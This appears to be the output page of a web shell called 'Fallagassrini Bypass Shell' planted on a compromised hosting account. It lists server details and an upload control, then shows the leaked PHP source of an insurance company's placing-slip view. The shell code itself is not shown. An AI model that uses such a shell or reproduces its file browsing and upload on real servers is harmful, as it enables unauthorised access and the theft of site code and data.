? Fallagassrini

Fallagassrini Bypass Shell

echo"
Fallagassrini
";
Current Path : /home1/savoy/www/savoyglobal.net/drafthr/system/application/views/Documents/

Linux gator3171.hostgator.com 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
Upload File :
Current File : /home1/savoy/www/savoyglobal.net/drafthr/system/application/views/Documents/viewplacingslipbyid.php

<?php  if ( ! defined('BASEPATH')) exit('No direct script access allowed');?>
<script type="text/javascript">
 function viewpayamount(id)
    {	$("#paymenttemplate").empty().html("");
	$("#customtemplate").empty().html("");
	$("#paymamounttemplate").empty().html('<CENTER><img src="<?=base_url()?>/assets/images/loading.gif" class="loading" /></CENTER>');
         $("#paymamounttemplate").load("<?= site_url('documents/payment/viewpayamountslippayment/placing_slip/id/') ?>"+"/" +id);
    }

      function viewpayment(id)
    {	$("#customtemplate").empty().html("");
	$("#paymamounttemplate").empty().html("");
	$("#paymenttemplate").empty().html('<CENTER><img src="<?=base_url()?>/assets/images/loading.gif" class="loading" /></CENTER>');
        $("#paymenttemplate").load("<?= site_url('documents/payment/viewpslippayment/placing_slip/id/') ?>"+"/" +id);
    
    }
    
    
    
    
    
</script>

<script type="text/javascript">

 $(document).ready(function(){
        //Display Loading Image
       viewfolderstructure('','','<?=$id?>','<?=$tablename?>','<?=$fieldname?>');
       
    });
</script>

<?php
//$this->load->library('cezpdf');
/*
 * To change this template, choose Tools | Templates
 * and open the template in the editor.
 */

           $type=$this->customermodel->getSingleFieldValue('customers','type','id',$viewpslip->customer_id);
            if($type=='Individual')
            {
            $name=$this->customermodel->getSingleFieldValue('customer_personal_ind','insured','customer_id',$viewpslip->customer_id);
	     
            $business='NIL';
            }
            else
            {
             $name=$this->customermodel->getSingleFieldValue('customer_corp_info','insured','customer_id',$viewpslip->customer_id);
             $business=$this->customermodel->getSingleFieldValue('customer_corp_info','business_activity','customer_id',$viewpslip->customer_id);
	      
            }
	    $custdetails=$this->mastermodel->get_data_srow('customer_contact',$viewpslip->customer_id,'customer_id');
	    $custcode=$this->customermodel->getSingleFieldValue('customers','code','id',$viewpslip->customer_id);
            $covername=$this->customermodel->getSingleFieldValue('covers','cover','id',$viewpslip->cover_id);
            $premiumdetails=$this->mastermodel->get_data_srow('placing_slip_premiumdetails',$viewpslip->id,'placing_slip_id');
            $currency_type=$this->mastermodel->get_data_srow('country',$viewpslip->currencytype,'id');

?>
<link href="<?=base_url()?>/assets/css/template.css" rel="stylesheet" type="text/css" />
<div class="select-bar">
<label>
  <img src="<?=base_url()?>/assets/images/backbutton.png" title="Back" class="clickimage" onclick="viewplacingslip('<?=$_SESSION['searchoption']?>','<?=$_SESSION['pagenum']?>','<?=$_SESSION['searchtxt']?>')" alt="Back" align = "center" width="25" height="25"  />

  
</label>


</div>
<label style="width:80px;"><img src="<?=base_url()?>/assets/images/document_white.jpg"  class="clickimage"  onclick="viewquotationplacingslip(<?=$viewpslip->id?>)" alt="Payment" align = "center"  /></label>
    
    <label style="width:80px;">
        <img src="<?=base_url()?>/assets/images/payment_blue.jpg"  class="clickimage"  onclick="viewpayment(<?=$viewpslip->id?>)" alt="Payment" align = "center"  />
    </label>
    <label>
        <img src="<?=base_url()?>/assets/images/pay_blue.jpg"  class="clickimage"  onclick="viewpayamount(<?=$viewpslip->id?>)" alt="Payment" align = "center"  />
    </label>
    <div id="paymenttemplate"></div>
        <div id="paymamounttemplate"></div>
<div id="customtemplate">

<table width="100%"  class="template" border="0" style="background-color:#fff;  border:solid 1px; border-color:#393939;color:#000;" cellpadding="2" cellspacing="2">
		<tbody>
		 <tr>
				<td colspan="2"  style="background-color:#fff; border-color:#999999;color:#fff;" align="left"  ><img src="<?=base_url()?>/assets/images/header.jpg"</td>
			
			
			</tr>
			<tr>
				<td colspan="3"  style="background-color:#fff; border-color:#999999;color:#000;" align="center"  ><h3  ><?=$viewpslip->template_header;?></h3></td>
			</tr>
			<tr  >
			 <td align="left"  style="background-color:#E8E8E8; border-color:#999999;color:#000;"  colspan="2">Quotation Ref No: <?=$viewpslip->quotation_ref;?></td><td align="right" style="background-color:#E8E8E8; border-color:#999999;color:#000;" >Date:<?=$this->mastermodel->convdatformat($viewpslip->quotation_date);?></td>
			 
			</tr>
			 
			

			

			<tr >
				<td colspan="3"  valign="top">
					

					<table width="100%" border="0" cellpadding="0" cellspacing="0">
						<tbody>
			<?php
//$slno=1;
        foreach($viewpslip_form as $tform)
        {	
            if($tform['fieldtype']=='combobox')
               {
                 echo "<tr ><td width='51%' class='underborder'  valign='top' >$tform[labelname]</td><td  class='underborder' width=3% valign='top'><b>:&nbsp;</b></td><td class='underborder'><table>";

		
                 $cmb=explode('~',$tform['value']);
		 echo '<ul>';
                for($k=0;$k<sizeof($cmb)-1;$k++)
                {
                    echo "<tr><td ><li><label class='righttdfont'>".$cmb[$k]."</label></li></td></tr>";
                }
                 echo "</table></td></ul>";



               }
	       
	       else if($tform['fieldtype']=='insured')
	       {
		echo "<tr><td width='51%' class='underborder'>$tform[labelname] </td><td  class='underborder' width=3%><b>:&nbsp;</b></td><td class='underborder'>$name</td></tr>";
	       }
	        else if($tform['fieldtype']=='suminsured')
	       {
		echo "<tr><td width='51%' class='underborder' valign='top'>$tform[labelname]</td>";
		echo '<td  class="underborder" width=3% valign="top"><b>:&nbsp;</b></td><td class="underborder">';
		     
                     $total=0;

                if(count($viewpslip_section)>0)
                {    echo ' <table border="0" >';
                     foreach($viewpslip_section as $secrow)
                     { if($secrow['section']!='--')  // for checking the suminsured without sections.
                     {
                      echo '<tr><td><label>'.$secrow['section'].'--'.$secrow['section_title'].'</label></td></tr>';
                     }
		     
                     
                      $sum_insured_section=$this->mastermodel->get_data('placing_slip_sum_insured',$secrow['id'],'section_id');
                      if(count($sum_insured_section)>0)
                      {
		       echo '<tr><th  align="left" class="red_bold">Description</th><th class="red_bold">Sum Insured</th></tr>';
		      $stotal=0;
                      foreach($sum_insured_section as $sumsecrow)
                      {
                          
                       echo '<tr ><td ><label class="righttdfont" class="underborder">'.$sumsecrow['description'].'</label></td><td >'.$sumsecrow['amount'].'<td>';
                      
			echo '</tr>';
                      $total+=$sumsecrow['amount'];
                      $stotal+=$sumsecrow['amount'];
                      }
                       echo '<tr><td width="100px" >Total</td><td align="left">'.$currency_type->currencycode.':&nbsp;'.$stotal.'</td>';
		        
		       echo '</tr>';
		       
		      }
                     }
                  
                }
                 if(sizeof($viewpslip_section)>1)
                     {
                echo '<tr><td width="100px" >Total Sum Insured</td><td align="left">'.$currency_type->currencycode.':&nbsp;'.$total.'</td></tr>'; 
    
                     }
                     echo '</table></td>';

              
	       }
               else if($tform['fieldtype']=='rate')
	       {
                echo "<tr><td width='51%' class='underborder' valign='top'>$tform[labelname]</td>";
		echo '<td  class="underborder" width=3% valign="top"><b>:&nbsp;</b></td><td class="underborder">';
		   
                     $total=0;

                if(count($viewpslip_section)>0)
                {    echo ' <table border="0" >';
                     foreach($viewpslip_section as $secrow)
                     { if($secrow['section']!='--')  // for checking the suminsured without sections.
                     {
                      echo '<tr><td><label>'.$secrow['section'].'--'.$secrow['section_title'].'</label></td></tr>';
                     }

                     
                      $sum_insured_section=$this->mastermodel->get_data('placing_slip_sum_insured',$secrow['id'],'section_id');
		       if(count($sum_insured_section)>0)
		      {   
		       
                      $stotal=0;
		      $flg=1;
		      
                      foreach($sum_insured_section as $sumsecrow)
                      {
                          if($sumsecrow['calrate_type']=='percent')
                          {
                              $rattype="%";
                          }
                          else if($sumsecrow['calrate_type']=='permile')
                          {
                           $rattype="%0";
                          }
                          else
                          {
                            $rattype="";
                          }
                      
                       if(!empty($secrow['rate_type']) && $secrow['rate_type']=='multirate' )
                       {
                            echo '<tr >';
                           if($flg==1)
                           {
                            echo '<tr><th  align="left" class="red_bold">Description</th><th class="red_bold">Sum Insured</th></tr>';
                           }
                            echo '<td ><label class="righttdfont" class="underborder">'.$sumsecrow['description'].'</label></td><td >'.$sumsecrow['amount'].'<td>';
                            echo '<td>'.$sumsecrow['rate'].''.$rattype.'</td>';
                            $flg=0;
                           echo '</tr>';
                       }
			
                      $total+=$sumsecrow['amount'];
                      $stotal+=$sumsecrow['amount'];
                      }
//                        if($flg==0)
//                            {
//                         echo '<tr><td width="100px" >Total</td><td align="left">'.$currency_type->currencycode.':&nbsp;'.$stotal.'</td></tr>';
//                            }
		        if(!empty($secrow['rate_type']) && $secrow['rate_type']=='singlerate' )
                       {    echo '<tr>';
                           echo '<td valign="top">'.$sumsecrow['rate'].''.$rattype.'</td>';
                           echo '</tr>';
                       }
                        if(empty($secrow['rate_type']))
                       {
                           echo '<tr>';
                           echo '<td valign="top">Flat Premium</td>';
                           echo '</tr>';
                       }
		        
		       
		      }
                     }
                  
                }
//                if(sizeof($viewpslip_section)>1)
//                     {
//                 echo '<tr><td width="100px" >Total Sum Insured</td><td align="left">'.$currency_type->currencycode.':&nbsp;'.$total.'</td></tr>';
//                     }
                echo '</table></td>';
                
                
	       }
	        else if($tform['fieldtype']=='business')
	       {
		echo "<tr><td width='51%' class='underborder'>$tform[labelname]</td><td  class='underborder' width=3%><b>:&nbsp;</b></td><td class='underborder'>$business</td></tr>";
	       }
	       else if($tform['fieldtype']=='cover')
	       {
		echo "<tr><td width='51%' class='underborder'>$tform[labelname]</td><td  class='underborder' width=3%><b>:&nbsp;</b></td><td class='underborder'>$covername</td></tr>";
	       }
               else if($tform['fieldtype']=='premium')
	       {
		echo "<tr><td width='51%' class='underborder'>$tform[labelname]</td><td  class='underborder' width=3%><b>:&nbsp;</b></td><td class='underborder'>".$currency_type->currencycode."&nbsp;".number_format($premiumdetails->premium)."</td></tr>";
	       }
               else if($tform['fieldtype']=='brokerage')
	       {
		echo "<tr><td width='51%' class='underborder'>$tform[labelname]</td><td  class='underborder' width=3%><b>:&nbsp;</b></td><td class='underborder'>".$premiumdetails->brokerage."&nbsp;%</td></tr>";
	       }
	        
                else if($tform['fieldtype']=='periodofinsurance')
	       {
		echo "<tr><td width='51%' class='underborder'>$tform[labelname]</td><td  class='underborder' width=3%><b>:&nbsp;</b></td><td class='underborder'>".$premiumdetails->fromdate."&nbsp;To&nbsp;".$premiumdetails->todate."</td></tr>";
	       }
               else
               {

             echo "<tr><td width='51%' class='underborder'>$tform[labelname]</td><td  class='underborder' width=3%><b>:&nbsp;</b></td><td class='underborder'>&nbsp;$tform[value]</td></tr>";
               }




	

        }


  ?>

							
						</tbody>
					</table>
				</td>
			</tr>

			

			

			<tr class="text">
				<td colspan="3" valign="top" align="center" style="background-color:#338BB7; border-color:#999999;color:#fff;">P O Box 200203, Doha, Qatar. Email : info@savoysinsurance.com. Website : www.savoysinsurance.com</td>
			</tr>

			

			

			<tr class="text">
				<td colspan="3" bordercolor="#999999" valign="top" bgcolor="#000000">&nbsp;</td>
			</tr>
		</tbody>
	</table>
    <fieldset>
        <legend>Files</legend>

        <div id="Folderssv">   </div>
       </fieldset>
</div>



    


bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped)
Email: contact@elmoujehidin.net